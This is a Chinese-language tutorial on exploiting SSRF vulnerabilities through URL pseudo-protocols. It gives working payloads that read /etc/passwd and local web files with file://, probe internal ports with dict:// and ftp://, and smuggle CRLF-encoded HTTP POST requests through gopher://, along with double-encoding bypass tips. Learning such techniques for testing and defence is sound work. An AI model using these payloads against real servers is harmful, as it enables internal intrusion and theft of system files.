
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
1、file
功能:尝试从文件系统中获取文件
file://D:/phpStudy/PHPTutorial/WWW/index.php
成功访问

file://D:/phpStudy/PHPTutorial/Apache/logs/access.log
成功访问文件

2、ftp://
功能:探测目标端口
如果目标未开放探测的端口,则会立马产生回显
如果对方开放了所探测的端口,页面将会一直处于加载中的状态

3.gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
俗称万金油协议,可以任意的构造请求
利用范围较广:GET提交、POST提交、redis、fastcgi、sql
基本格式:gopher://<目标IP>:<端口>/< gopher-path>
1、路径:_POST /name.php?name=123 HTTP/1.1
2、目标地址:Host:172.250.250.4
注意添加端口号80和填充位
URL编码
空格 %20
问号 %3f
换行符 %0d%0A
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a(换行符),代表消息结束(具体可研究HTTP包结束)
4、URL编码改为大写,冒号注意英文冒号
5、如果使用BP发包需要进行两次url编码
6、GET提交最后需要增加一个换行符
gopher://192.168.24.1:80/_POST%20/index.php%20HTTP/1.1%0d%0aHost:%20192.168.24.1:80%0d%0a

gopher://192.168.24.1:80/_POST%20/a.php%20HTTP/1.1%0d%0aHost:%20192.168.24.1:80%0d%0a%0d%0aapp%3dphpinfo();

%250d解析为%0d(换行符)二次编码绕过
4.dict://
字典服务协议,访问字典资源
如dict://ip:6739/info。可用于:扫描端口、获取内网信息、爆破密码等。
dict://127.0.0.1:3306/info

dict://10.34.11.128:6666/info

dict://192.168.24.1:80/aaa
